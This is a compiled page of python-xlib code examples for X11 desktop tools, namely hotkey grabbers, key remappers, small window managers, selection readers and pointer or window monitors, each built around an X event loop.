class DeviceListener(object):
    def __init__(self):
        self.display = Display()

        self.win_root = self.display.screen().root

        extension_info = self.display.query_extension('XInputExtension')
        self.xinput_major = extension_info.major_opcode

        self.device = None

        v = xinput.query_version(self.display)
        print("Version: {}, {}".format(v.major_version, v.minor_version))

        self.select_device()

    def select_device(self, device=None):
        self.device = device
        mask = xinput.KeyPressMask + xinput.KeyReleaseMask
        if device is None:
            xinput.select_events(self.win_root, ((xinput.AllDevices, mask),))
        else:
            xinput.select_events(self.win_root, ((device, mask), (xinput.AllDevices, 0)))
            self.display.xinput_detach_slave(device)

    def event_loop(self):
        while True:
            event = self.display.next_event()
            if event.type == self.display.extension_event.GenericEvent \
                    and event.extension == self.xinput_major:
                if not self.handle_event(event):
                    break

    def get_device_id(self):
        event = self.display.next_event()
        if event.type == self.display.extension_event.GenericEvent \
                and event.extension == self.xinput_major:
            return event.data.deviceid

    def handle_event(self, event):
        self.send_event(event.data.detail, event.evtype == 2)
        # print("Event: {}, {}, {}".format(event.evtype, event.data.detail, event.data.deviceid))
        return not event.data.detail == EXIT_KEY

    def send_event(self, key_code, key_down):
        xtest.fake_input(self.display,
                         event_type=2 if key_down else 3,
                         detail=key_code)

    def close(self):
        self.display.xinput_attach_slave(self.device, KEYBOARD_MASTER)
        self.display.close()
Example #2
0
def main():
    # current display
    global display,root
    display = Display()
    root = display.screen().root
    # we tell the X server we want to catch keyPress event
    root.change_attributes(event_mask = X.KeyPressMask|X.KeyReleaseMask)
    # just grab the "1"-key for now
    # Common keys without state
    for key_code in key_codes.keys():
        root.grab_key(key_code, 0, True,X.GrabModeSync, X.GrabModeSync)
    # F Keys with shift
    for key_code in f_keys.keys():
        root.grab_key(key_code, 1, True,X.GrabModeSync, X.GrabModeSync)
    # F Keys with ctrl
    for key_code in f_keys.keys():
        root.grab_key(key_code, 4, True,X.GrabModeSync, X.GrabModeSync)
    # Keys with ctrl
    for key_code in ctrl_codes:
        root.grab_key(key_code, 4, True,X.GrabModeSync, X.GrabModeSync)
    # Switcher key
    root.grab_key(KEY_SWITCHER, 4, True,X.GrabModeSync, X.GrabModeSync)
    # signal.signal(signal.SIGALRM, lambda a,b:sys.exit(1))
    # signal.alarm(30)
    while 1:
        event = display.next_event()
        handle_event(event)
        display.allow_events(X.AsyncKeyboard, X.CurrentTime)
Example #3
0
def main(argv):
    display = Display()
    try:
        extension_info = display.query_extension('XInputExtension')
        xinput_major = extension_info.major_opcode

        version_info = display.xinput_query_version()
        print('Found XInput version %u.%u' % (
            version_info.major_version,
            version_info.minor_version,
        ))

        screen = display.screen()
        screen.root.xinput_select_events([
            (xinput.AllDevices, xinput.HierarchyChangedMask),
        ])

        while True:
            event = display.next_event()
            if (event.type == display.extension_event.GenericEvent
                    and event.extension == xinput_major
                    and event.evtype == 11):
                print_hierarchy_changed_event(event)

    finally:
        display.close()
Example #4
0
def main(argv):
    global timer, is_run_active, args, min_distance
    with FileLock("mousy.lock", timeout=0.3):
        log("Lock acquired.")  # avoid multiple runs  the same time

        min_distance = args.distance

        start_reset_timer()

        display = Display()
        try:
            extension_info = display.query_extension('XInputExtension')

            version_info = display.xinput_query_version()
            log('Found XInput version %u.%u' % (
                version_info.major_version,
                version_info.minor_version,
            ))

            screen = display.screen()
            screen.root.xinput_select_events([(xinput.AllDevices,
                                               xinput.MotionMask)])

            while is_run_active:
                try:
                    event = display.next_event()
                    x = event.data.root_x
                    y = event.data.root_y
                    handle(x, y)
                except KeyboardInterrupt as e:
                    log("interrupted")
        finally:
            display.close()
class XlibInterface:
    def __init__(self):
        pass
        self.display = Display()
        self.root = self.display.screen().root

    def grab_keyboard(self):
        self.root.change_attributes(event_mask=KeyPressMask | KeyReleaseMask)
        self.root.grab_keyboard(False, GrabModeAsync, GrabModeAsync,
                                CurrentTime)

    @staticmethod
    def event_is_keypress(event) -> bool:
        if event.type is KeyPress:
            return True
        else:
            return False

    def events_pending(self) -> bool:
        return self.display.pending_events()

    def get_next_event(self):
        return self.display.next_event()

    def stop_listening(self):
        self.display.ungrab_keyboard(CurrentTime)
        self.display.flush()
Example #6
0
def main():
    disp = Display()
    screen = disp.screen()
    root = screen.root

    # First listen for existing windows
    for window in root.query_tree().children:
        if is_inkscape(window):
            print('Found existing window')
            listen = threading.Thread(target=create, args=[window.id])
            listen.start()

    # New windows
    root.change_attributes(event_mask=X.SubstructureNotifyMask)
    while True:
        evt = disp.next_event()
        if evt.type == X.CreateNotify:
            window = evt.window
            try:
                if is_inkscape(window):
                    print('New window!')
                    listen = threading.Thread(target=create, args=[window.id])
                    listen.start()

            except Xlib.error.BadWindow:
                pass
Example #7
0
class wm:
    def __init__(self):
        self.display = Display()  # Initialise display
        self.rootWindow = self.display.screen().root  # Initialise root window

        self.rootWindow.change_attributes(
            event_mask=X.SubstructureRedirectMask)

        self.keyboardHandler = keyboard(self.display, self.rootWindow)
        self.mouseHandler = mouse()
        self.mappingHandler = mapping(self.display, self.rootWindow)

        setWallpaper()

    def handleEvents(self):
        if True:  #self.display.pending_events() > 0:  # If there is an event in the queue
            event = self.display.next_event()  # Grab it
            print("Got an event! ({})".format(str(event.type)))
            if event.type == X.KeyPress:
                self.keyboardHandler.handleKeyEvent(event)
            elif event.type == X.MapRequest:
                self.mappingHandler.handleMapEvent(event)
            elif event.type == X.ButtonPress:
                self.mouseHandler.handleMouseEvent(event)
            elif event.type == X.ButtonRelease:
                self.mouseHandler.handleMouseEvent(event)
            elif event.type == X.MotionNotify:
                self.mouseHandler.handleMouseEvent(event)

    def loop(self):
        while True:
            self.handleEvents()
            self.mappingHandler.drawBorders()
            self.mappingHandler.updateFocus()
Example #8
0
def main(argv):
    display = Display()
    try:
        extension_info = display.query_extension('XInputExtension')
        xinput_major = extension_info.major_opcode

        version_info = display.xinput_query_version()
        print('Found XInput version %u.%u' % (
          version_info.major_version,
          version_info.minor_version,
        ))

        screen = display.screen()
        screen.root.xinput_select_events([
          (xinput.AllDevices, xinput.HierarchyChangedMask),
        ])

        while True:
            event = display.next_event()
            if (
              event.type == display.extension_event.GenericEvent
              and event.extension == xinput_major
              and event.evtype == 11
            ):
                print_hierarchy_changed_event(event)

    finally:
        display.close()
Example #9
0
def main(options):
    # current display
    pid_file = "/var/lock/easyxmotion.pid"
    # kill any old versions that are still running,
    # we do it this way so the current one has input focus.
    # might be a better way to just exit and give focus to the old one.
    try:
        with open(pid_file, "r") as fp:
            pid = int(fp.read())
            try:
                os.kill(pid, signal.SIGTERM)
            except OSError:
                # other isn't running
                pass
    except IOError:
        # first ever run
        pass
    with open(pid_file, "w") as fp:
        fp.write(str(os.getpid()))

    osds, windows = display_osd(options)
    disp = Display()
    root = disp.screen().root
    root.change_attributes(event_mask=X.KeyPressMask)
    root.grab_keyboard(False, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)

    event = disp.next_event()
    keycode = event.detail
    if event.type == X.KeyPress:
        key = XK.keysym_to_string(disp.keycode_to_keysym(keycode, 0))
        if key and key in string.lowercase and string.lowercase.index(key) < len(windows):
            windows[string.lowercase.index(key)].activate(timestamp)
        disp.ungrab_keyboard(X.CurrentTime)
        sys.exit()
Example #10
0
def loop(dpy: Display, actions: dict):
    try:
        while True:
            evt = dpy.next_event()
            process(dpy, actions, evt)
    finally:
        dpy.close()
Example #11
0
def get_primary_selection():
    """Get the word selected in the primary selection."""
    display = Display()
    xsel_data_atom = display.intern_atom("XSEL_DATA")
    UTF8_STRING = display.intern_atom("UTF8_STRING")
    screen = display.screen()
    w = screen.root.create_window(0, 0, 2, 2, 0, screen.root_depth)
    w.convert_selection(
        Xlib.Xatom.PRIMARY,  # selection
        UTF8_STRING,  # target
        xsel_data_atom,  # property
        Xlib.X.CurrentTime)  # time

    while True:
        e = display.next_event()
        if e.type == X.SelectionNotify:
            break

    if e.property != xsel_data_atom or \
       e.target != UTF8_STRING:
        return ''

    reply = w.get_full_property(xsel_data_atom, X.AnyPropertyType)
    reply = reply.value.strip()
    return reply
Example #12
0
def main(options):
    # current display
    pid_file = '/var/lock/easyxmotion.pid'
    # kill any old versions that are still running,
    # we do it this way so the current one has input focus.
    # might be a better way to just exit and give focus to the old one.
    try:
        with open(pid_file, 'r') as fp:
            pid = int(fp.read())
            try:
                os.kill(pid, signal.SIGTERM)
            except OSError:
                #other isn't running
                pass
    except IOError:
        # first ever run
        pass
    with open(pid_file, 'w') as fp:
        fp.write(str(os.getpid()))

    osds, windows = display_osd(options)
    disp = Display()
    root = disp.screen().root
    root.change_attributes(event_mask = X.KeyPressMask)
    root.grab_keyboard(False, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)

    event = disp.next_event()
    keycode = event.detail
    if event.type == X.KeyPress:
        key = XK.keysym_to_string(disp.keycode_to_keysym(keycode, 0))
        if key and key in string.lowercase and string.lowercase.index(key) < len(windows):
            windows[string.lowercase.index(key)].activate(timestamp)
        disp.ungrab_keyboard(X.CurrentTime)
        sys.exit()
Example #13
0
class PointerMonitor(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate': (GObject.SignalFlags.RUN_LAST, None, ()),
    }

    def __init__(self):
        GObject.GObject.__init__ (self)
        threading.Thread.__init__ (self)
        self.setDaemon (True)
        self.display = Display()
        self.root = self.display.screen().root
        self.windows = []

    # Receives GDK windows
    def addWindowToMonitor(self, window):
        gdk.gdk_x11_drawable_get_xid.argtypes = [c_void_p]
        xWindow = self.display.create_resource_object("window", gdk.gdk_x11_drawable_get_xid(hash(window)))
        self.windows.append(xWindow)

    def grabPointer(self):
        self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0)
        self.display.flush()

    def ungrabPointer(self):
        self.root.ungrab_button(X.AnyButton, X.AnyModifier)
        self.display.flush()

    def idle(self):
        self.emit("activate")
        return False

    def activate(self):
        GLib.idle_add(self.run)

    def run(self):
        self.running = True
        while self.running:
            event = self.display.next_event()
            try:
                if event.type == X.ButtonPress:
                    # Check if pointer is inside monitored windows
                    for w in self.windows:
                        p = w.query_pointer()
                        g = w.get_geometry()
                        if p.win_x >= 0 and p.win_y >= 0 and p.win_x <= g.width and p.win_y <= g.height:
                            break
                    else:
                        # Is outside, so activate
                        GLib.idle_add(self.idle)
                    self.display.allow_events(X.ReplayPointer, event.time)
                else:
                    self.display.allow_events(X.ReplayPointer, X.CurrentTime)
            except Exception as e:
                print "Unexpected error: " + str(e)

    def stop(self):
        self.running = False
        self.root.ungrab_button(X.AnyButton, X.AnyModifier)
        self.display.close()
Example #14
0
class PointerMonitor(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate': (GObject.SignalFlags.RUN_LAST, None, ()),
    }
       
    def __init__(self):
        GObject.GObject.__init__ (self)
        threading.Thread.__init__ (self)
        self.setDaemon (True)
        self.display = Display()
        self.root = self.display.screen().root
        self.windows = []
        
    # Receives GDK windows
    def addWindowToMonitor(self, window):
        xWindow = self.display.create_resource_object("window", gdk.gdk_x11_drawable_get_xid(hash(window)))
        self.windows.append(xWindow)
            
    def grabPointer(self):
        self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0)
        self.display.flush()
        
    def ungrabPointer(self):
        self.root.ungrab_button(X.AnyButton, X.AnyModifier)
        self.display.flush()

    def idle(self):
        self.emit("activate")
        return False

    def activate(self):
        GLib.idle_add(self.run)
                    
    def run(self):
        self.running = True
        while self.running:
            event = self.display.next_event()
            try:
                if event.type == X.ButtonPress:
                    # Check if pointer is inside monitored windows
                    for w in self.windows:
                        p = w.query_pointer()
                        g = w.get_geometry()
                        if p.win_x >= 0 and p.win_y >= 0 and p.win_x <= g.width and p.win_y <= g.height:
                            break
                    else:
                        # Is outside, so activate
                        GLib.idle_add(self.idle)
                    self.display.allow_events(X.ReplayPointer, event.time)
                else:        
                    self.display.allow_events(X.ReplayPointer, X.CurrentTime)
            except Exception as e:
                print "Unexpected error: " + str(e)

    def stop(self):
        self.running = False
        self.root.ungrab_button(X.AnyButton, X.AnyModifier)
        self.display.close()
Example #15
0
def main(argv):
    display = Display()
    root = display.screen().root
    root.change_attributes(event_mask=X.PropertyChangeMask
                           | X.SubstructureNotifyMask)
    skip_windows = [
        'tk.TkN/Awindowswitcher',
        'xfce4-appfinder.Xfce4-appfinderxavierApplicationFinder'
    ]

    NET_ACTIVE_WINDOW = display.intern_atom('_NET_ACTIVE_WINDOW')

    try:
        while True:
            event = display.next_event()
            if event.type != X.PropertyNotify:
                continue

            response = root.get_full_property(NET_ACTIVE_WINDOW,
                                              X.AnyPropertyType)
            win_id = hex(response.value[0]).rstrip('L').lstrip('0x')

            if len(win_id) == 0:
                continue

            wmctrl_out = os.popen(
                'sleep 0.1; wmctrl -dliGux | grep -i {win_id}'.format(
                    win_id=win_id)).read()
            wmctrl_out = wmctrl_out.split('\n')
            wmctrl_out.pop()

            if len(wmctrl_out) != 1:
                continue

            window = WmctrlWindow(wmctrl_out[0])
            # ignore window switcher
            if window.name in skip_windows:
                continue

            str_json = open("/home/danilo/scripts/flip360_wids.json",
                            "r").read()
            jjson = json.loads(str_json)

            key_json = 'm{m}{w}'.format(m=window.monitor, w=window.workspace)
            if jjson.get(key_json, None) == None:
                continue

            window_previous = WmctrlWindow(jjson[key_json])
            if window.id == window_previous.id:
                continue

            jjson[key_json] = window.str_win
            flip360_wids = open("/home/danilo/scripts/flip360_wids.json", "w")
            flip360_wids.write(json.dumps(jjson))
            flip360_wids.close()

    finally:
        display.close()
def main(argv):
    if len(sys.argv) != 2:
        sys.exit(
            'usage: {0} SELECTION\n\n'
            'SELECTION is typically PRIMARY, SECONDARY or CLIPBOARD.\n'.format(
                sys.argv[0]))

    display = Display()

    sel_name = sys.argv[1]
    sel_atom = display.get_atom(sel_name)

    if not display.has_extension('XFIXES'):
        if display.query_extension('XFIXES') is None:
            print('XFIXES extension not supported', file=sys.stderr)
            return 1

    xfixes_version = display.xfixes_query_version()
    print('Found XFIXES version %s.%s' % (
        xfixes_version.major_version,
        xfixes_version.minor_version,
    ),
          file=sys.stderr)

    screen = display.screen()

    mask = xfixes.XFixesSetSelectionOwnerNotifyMask | \
           xfixes.XFixesSelectionWindowDestroyNotifyMask | \
           xfixes.XFixesSelectionClientCloseNotifyMask

    display.xfixes_select_selection_input(screen.root, sel_atom, mask)

    while True:
        e = display.next_event()
        print(e)

        if (e.type,
                e.sub_code) == display.extension_event.SetSelectionOwnerNotify:
            print('SetSelectionOwner: owner=0x{0:08x}'.format(e.owner.id))
        elif (e.type, e.sub_code
              ) == display.extension_event.SelectionWindowDestroyNotify:
            print('SelectionWindowDestroy: owner=0x{0:08x}'.format(e.owner.id))
        elif (e.type, e.sub_code
              ) == display.extension_event.SelectionClientCloseNotify:
            print('SelectionClientClose: owner=0x{0:08x}'.format(e.owner.id))
Example #17
0
def main():
    disp = Display()
    screen = disp.screen()
    root = screen.root
    root.change_attributes(event_mask=X.SubstructureNotifyMask)
    while True:
        evt = disp.next_event()
        if evt.type == X.CreateNotify:
            window = evt.window
            try:
                if window.get_wm_class() and window.get_wm_class(
                )[0] == 'inkscape':
                    print('Listening!')
                    listen = threading.Thread(target=create, args=[window.id])
                    listen.start()

            except Xlib.error.BadWindow:
                pass
Example #18
0
class Desktop(Module):
    dbus = '<node> \
                <interface name=\'{name}\'> \
                    <method name=\'refresh\'/> \
                </interface> \
            </node>'

    def __init__(self, q, conf, name):
        super().__init__(q, conf, name)
        self.ewmh = EWMH()
        self.x = Display()
        self.desk_inactive = conf['desktop_inactive_color']
        self.desk_active = conf['desktop_active_color']
        self.conf = conf
        self.x.screen().root.change_attributes(event_mask=Xlib.X.PropertyChangeMask)

    def callback(self, iterable):
        pass

    @property
    def position(self):
        return Position.LEFT

    @property
    def priority(self):
        return 0

    def refresh(self):
        super().refresh()
        self._queue.put(DataStore(self.name, self.current_desktop(), self.position, self.priority))

    def run(self):
        while not self._stopping.is_set() and self.x.next_event():
            self.refresh()

    def current_desktop(self):
        d = self.ewmh.getCurrentDesktop()
        s = DESKTOPS[d].format(di=self.desk_inactive, da=self.desk_active)

        return Utilities.add_padding(s, int(self.conf['padding_left']), int(self.conf['padding_right']))
Example #19
0
def get_primary_selection():
    """Get the word selected in the primary selection."""
    display = Display()
    xsel_data_atom = display.intern_atom("XSEL_DATA")
    UTF8_STRING = display.intern_atom("UTF8_STRING")
    screen = display.screen()
    w = screen.root.create_window(0, 0, 2, 2, 0, screen.root_depth)
    w.convert_selection(Xlib.Xatom.PRIMARY,  # selection
                        UTF8_STRING,         # target
                        xsel_data_atom,      # property
                        Xlib.X.CurrentTime)  # time

    while True:
        e = display.next_event()
        if e.type == X.SelectionNotify:
            break

    if e.property != xsel_data_atom or \
       e.target != UTF8_STRING:
        return ''

    reply = w.get_full_property(xsel_data_atom, X.AnyPropertyType)
    reply = reply.value.strip()
    return reply
Example #20
0
def main():
    global display,root,app
    display = Display()
    root = display.screen().root
    root.change_attributes(event_mask = (X.PropertyChangeMask))
    taskbar = Taskbar()
    taskbar.updateTasks()
    taskbar.middleMapper.mapped[int].connect(taskbar.onTabMiddleClick)
    taskbar.rightMapper.mapped[int].connect(taskbar.onTabRightClick)
    taskbar.leftMapper.mapped[int].connect(taskbar.onTaskLeftClick)

    Popen(['feh', '--bg-scale', '/home/shaw/.python/Theta/background.png'])
    Popen(['mpd'])

    while 1:
        taskbar.clock.setText(time.strftime("%a "+"%b "+"%d, "+"%H"+":"+"%M"))

        QtGui.QApplication.processEvents()
        time.sleep(0.01)
        while display.pending_events():
            event = display.next_event()
            taskbar.updateTasks()

    sys.exit(app.exec_())
Example #21
0
def main():
    # current display
    global display,root
    display = Display()
    root = display.screen().root

    # we tell the X server we want to catch keyPress event
    root.change_attributes(event_mask = X.KeyPressMask|X.KeyReleaseMask)

    # just grab the "1"-key for now
    root.grab_key(10, 0, True, X.GrabModeSync, X.GrabModeSync)

    root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask,
                    X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE)

    # only run for 10 seconds
    signal.signal(signal.SIGALRM, lambda a,b:sys.exit(1))
    signal.alarm(10)

    while 1:
        # Handle events without blocking
        event = display.next_event()
        handle_event(event)
        display.allow_events(X.AsyncKeyboard, X.CurrentTime)
Example #22
0
def main():
    # current display
    global display, root
    display = Display()
    root = display.screen().root

    # we tell the X server we want to catch keyPress event
    root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask)

    # just grab the "1"-key for now
    root.grab_key(10, 0, True, X.GrabModeSync, X.GrabModeSync)

    root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask, X.GrabModeAsync,
                     X.GrabModeAsync, X.NONE, X.NONE)

    # only run for 10 seconds
    signal.signal(signal.SIGALRM, lambda a, b: sys.exit(1))
    signal.alarm(10)

    while 1:
        # Handle events without blocking
        event = display.next_event()
        handle_event(event)
        display.allow_events(X.AsyncKeyboard, X.CurrentTime)
Example #23
0
class GlobalKeyBinding(gobject.GObject, threading.Thread):
    __gsignals__ = {"activate": (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, ())}

    def __init__(self, key):
        gobject.GObject.__init__(self)
        threading.Thread.__init__(self)
        self.setDaemon(True)

        self.key = key

        self.keymap = gtk.gdk.keymap_get_default()
        self.display = Display()
        self.screen = self.display.screen()
        self.root = self.screen.root
        self.e = True
        self.map_modifiers()

    def map_modifiers(self):
        gdk_modifiers = (
            gtk.gdk.CONTROL_MASK,
            gtk.gdk.SHIFT_MASK,
            gtk.gdk.MOD1_MASK,
            gtk.gdk.MOD2_MASK,
            gtk.gdk.MOD3_MASK,
            gtk.gdk.MOD4_MASK,
            gtk.gdk.MOD5_MASK,
            gtk.gdk.SUPER_MASK,
            gtk.gdk.HYPER_MASK,
            gtk.gdk.LOCK_MASK,
        )
        self.known_modifiers_mask = 0
        for modifier in gdk_modifiers:
            # Do you know how to handle unknown "Mod*" keys?
            # They are usually Locks and something like that
            if "Mod" not in gtk.accelerator_name(0, modifier):
                self.known_modifiers_mask |= modifier

    def on_key_changed(self, *args):
        self.regrab()

    def regrab(self):
        self.ungrab()
        self.grab()

    def grab(self):

        accelerator = self.key
        keyval, modifiers = gtk.accelerator_parse(accelerator)
        if not accelerator or (not keyval and not modifiers):
            self.keycode = None
            self.modifiers = None
            print "Unable to bind the selected key"
            return
        self.keycode = self.keymap.get_entries_for_keyval(keyval)[0][0]
        self.modifiers = int(modifiers)
        return self.root.grab_key(self.keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync)

    def ungrab(self):
        if self.keycode:
            self.root.ungrab_key(self.keycode, X.AnyModifier, self.root)

    def idle(self):
        # Clipboard requests will hang without locking the GDK thread
        gtk.gdk.threads_enter()
        # Workarround to only send signal every 2 times needed by tilo
        if self.e == True:
            self.emit("activate")
            self.e = False
        elif self.e == False:
            self.e = True
        gtk.gdk.threads_leave()
        return False

    def run(self):
        self.running = True
        wait_for_release = False
        while self.running:
            event = self.display.next_event()
            if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release:
                modifiers = event.state & self.known_modifiers_mask
                if modifiers == self.modifiers:
                    wait_for_release = True
                    self.display.allow_events(X.AsyncKeyboard, event.time)
                else:
                    self.display.allow_events(X.ReplayKeyboard, event.time)
            elif event.detail == self.keycode and wait_for_release:
                if event.type == X.KeyRelease:
                    wait_for_release = False
                    gobject.idle_add(self.idle)
                self.display.allow_events(X.AsyncKeyboard, event.time)
            else:
                self.display.allow_events(X.ReplayKeyboard, event.time)

    def stop(self):
        self.running = False
        self.ungrab()
        self.display.close()
Example #24
0
from Xlib.display import Display
from Xlib import X, XK

dpy = Display()

dpy.screen().root.grab_key(dpy.keysym_to_keycode(XK.string_to_keysym("F1")), X.Mod1Mask, 1,
        X.GrabModeAsync, X.GrabModeAsync)
dpy.screen().root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask|X.ButtonReleaseMask|X.PointerMotionMask,
        X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE)
dpy.screen().root.grab_button(3, X.Mod1Mask, 1, X.ButtonPressMask|X.ButtonReleaseMask|X.PointerMotionMask,
        X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE)

start = None
while 1:
    ev = dpy.next_event()
    if ev.type == X.KeyPress and ev.child != X.NONE:
        ev.child.configure(stack_mode = X.Above)
    elif ev.type == X.ButtonPress and ev.child != X.NONE:
        attr = ev.child.get_geometry()
        start = ev
    elif ev.type == X.MotionNotify and start:
        xdiff = ev.root_x - start.root_x
        ydiff = ev.root_y - start.root_y
        start.child.configure(
            x = attr.x + (start.detail == 1 and xdiff or 0),
            y = attr.y + (start.detail == 1 and ydiff or 0),
            width = max(1, attr.width + (start.detail == 3 and xdiff or 0)),
            height = max(1, attr.height + (start.detail == 3 and ydiff or 0)))
    elif ev.type == X.ButtonRelease:
        start = None
Example #25
0
class WM:
    def __init__(self):
        self.display = Display()
        self.root = self.display.screen().root
        self.color_map = self.display.screen().default_colormap
        self.root.change_attributes(event_mask=X.SubstructureRedirectMask
                                    | X.KeyReleaseMask | X.FocusChangeMask)
        self.width = self.root.get_geometry().width
        self.height = self.root.get_geometry().height
        self.windows = []
        self.focused_window = None
        self.actions = [[XK.XK_F, lambda: system("rofi -show")],
                        [XK.XK_X, lambda: self.destroy(self.focused_window)]]
        self.modifier = X.Mod1Mask
        self.next_position = 0
        self.configure()
        system("feh --bg-scale wallpaper.png")

    def getKeyCodes(self, key):
        codes = set(code for code, i in self.display.keysym_to_keycodes(key))
        return list(codes)

    def configure(self):
        for i in self.actions:
            for j in self.getKeyCodes(i[0]):
                self.root.grab_key(j, self.modifier, True, X.GrabModeSync,
                                   X.GrabModeSync)

    def handleMap(self, event):
        event.window.map()
        # event.window.set_input_focus(X.RevertToParent, X.CurrentTime)
        width = self.width // 2 - 40
        height = self.height // 2 - 40
        if self.next_position == 4:
            self.next_position = 0
        if self.next_position == 0:
            x = 0
            y = 0
        elif self.next_position == 1:
            x = self.width // 2
            y = 0
        elif self.next_position == 2:
            x = 0
            y = self.height // 2
        elif self.next_position == 3:
            x = self.width // 2
            y = self.height // 2
        event.window.configure(stack_mode=X.Above,
                               width=width,
                               height=height,
                               x=x,
                               y=y)
        self.next_position += 1
        self.windows.append(event.window)

    def destroy(self, window):
        window.destroy()
        self.windows.remove(window)
        self.next_position -= 1

        width = self.width // 2 - 40
        height = self.height // 2 - 40

        for i, window in enumerate(self.windows):
            if i == 0:
                x = 0
                y = 0
            elif i == 1:
                x = self.width // 2
                y = 0
            elif i == 2:
                x = 0
                y = self.height // 2
            elif i == 3:
                x = self.width // 2
                y = self.height // 2
            window.configure(stack_mode=X.Above,
                             width=width,
                             height=height,
                             x=x,
                             y=y)

    def handleKey(self, event):
        print("Clicked")
        for i in self.actions:
            if event.detail in self.getKeyCodes(i[0]):
                print("Found")
                i[1]()

    def handleEvent(self):
        if self.display.pending_events() > 0:
            event = self.display.next_event()
            print("Got Event:{}".format(event.type))
            if event.type == X.MapRequest:
                self.handleMap(event)
            elif event.type == X.KeyRelease:
                self.handleKey(event)
            elif event.type == X.FocusIn:
                print("Focusing")

    def updateFocus(self):
        window = self.display.screen().root.query_pointer().child
        if window:
            self.focused_window = window
        else:
            self.focused_window = None

    def close(self):
        self.display.close()

    def drawBorder(self, window):

        if window == self.focused_window:
            color = FOCUS_COLOR
        else:
            color = BORDER_COLOR

        color = self.color_map.alloc_named_color(color).pixel
        window.configure(border_width=BORDER_WIDTH)
        window.change_attributes(None, border_pixel=color)
        self.display.sync()

    def loop(self):
        while True:
            self.handleEvent()
            self.updateFocus()
            for i in self.windows:
                self.drawBorder(i)
class GlobalKeyBinding (gobject.GObject, threading.Thread):
    """
    This is both a GObject and a Thread.
    GObject: it emits the 'active' signal when the key binding is activated
    Thread: runs an X loop for catching X events after the key has been grabbed
    """

    __gsignals__ = {
        'activate': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, ()),
        }

    def __init__ (self, application, key):
        gobject.GObject.__init__ (self)
        threading.Thread.__init__ (self)
        self.setDaemon (True)

        self.application = application
        self.gconf_key = key

        absolute_key = self.application.config.dir+"/"+self.gconf_key
        self.application.config.client.notify_add (absolute_key,
                                                   self.on_key_changed)
        self.keymap = gtk.gdk.keymap_get_default ()
        self.display = Display ()
        self.screen = self.display.screen ()
        self.root = self.screen.root

        self.modifiers = 0
        self.keycode = 0
        self.unknown_combos = []

        self.map_modifiers ()

        self.running = False

    def map_modifiers (self):
        """
        Use only known GTK+ modifiers to avoid catching Lock
        or something like that
        """
        gdk_modifiers = (gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK,
                         gtk.gdk.MOD1_MASK,
                         gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK,
                         gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK,
                         gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK)
        unknown = []
        for modifier in gdk_modifiers:
            # Do you know how to handle unknown "Mod*" keys?
            # They are usually Locks and something like that
            if "Mod" in gtk.accelerator_name (0, modifier):
                unknown.append ([modifier])
        combos = self.generate_combos (unknown, unknown, len(unknown))
        self.unknown_combos = self.flatten_combos (combos)

    @staticmethod
    def generate_combos (elems, combos, level):
        if level == 1:
            return combos
        res = []
        for el in elems:
            for c in combos:
                res.append (el+c)
        return GlobalKeyBinding.generate_combos (elems, res, level-1)

    @staticmethod
    def flatten_combos (combos):
        ored = map (lambda l: reduce (lambda x, y: x | y, l), combos)
        ored.append (0)
        return set (ored)

    def on_key_changed (self, *args):
        """
        Called from GConf when the key binding changes its value.
        Will regrab the key.
        """
        self.regrab ()

    def regrab (self):
        """
        Ungrab the grab the key
        """
        self.ungrab ()
        self.grab ()

    def grab (self):
        """
        Grab the key for the X display.
        This means we will listen only to X events having our key
        as keycode.
        Instead of grabbing all the possible key combo (including Locks)
        we listen to the keycode with any modifier then filter manually
        the events in the loop.
        The key is grabbed in Sync mode.
        """
        accelerator = self.application.config.get (self.gconf_key)
        keyval, modifiers = gtk.accelerator_parse (accelerator)
        if not accelerator or (not keyval and not modifiers):
            self.keycode = None
            self.modifiers = None
            return
        self.keycode = self.keymap.get_entries_for_keyval(keyval)[0][0]
        self.modifiers = int (modifiers)
        for combo in self.unknown_combos:
            self.root.grab_key (self.keycode, self.modifiers | combo, True,
                                X.GrabModeAsync, X.GrabModeSync)

    def ungrab (self):
        """
        Ungrab the key binding
        """
        if self.keycode:
            for combo in self.unknown_combos:
                self.root.ungrab_key (self.keycode, self.modifiers | combo, self.root)
        
    def idle (self):
        """
        Internally called to emit the 'activate' event.
        This method will be run as idle for the gobject mainloop
        """
        # Clipboard requests will hang without locking the GDK thread
        gtk.gdk.threads_enter ()
        self.emit ("activate")
        gtk.gdk.threads_leave ()
        return False

    def run (self):
        """
        We grab in Sync mode because with Async with loose the
        release event someway.
        The loop will run until self.running is True.
        """
        self.running = True
        while self.running:
            event = self.display.next_event ()
            self.display.allow_events (X.AsyncKeyboard, event.time)
            if event.type == X.KeyRelease:
                gobject.idle_add (self.idle)

    def stop (self):
        """
        Stop the loop, ungrab the key and close the display
        """
        self.running = False
        self.ungrab ()
        self.display.close ()
Example #27
0
#!/usr/bin/python
 
import time
import subprocess
from Xlib import X
from Xlib.display import Display
 
display = Display(':0')
root = display.screen().root
root.grab_pointer(True,
        X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask,
        X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)
root.grab_keyboard(True,
        X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)
 
subprocess.call('xset dpms force off'.split())
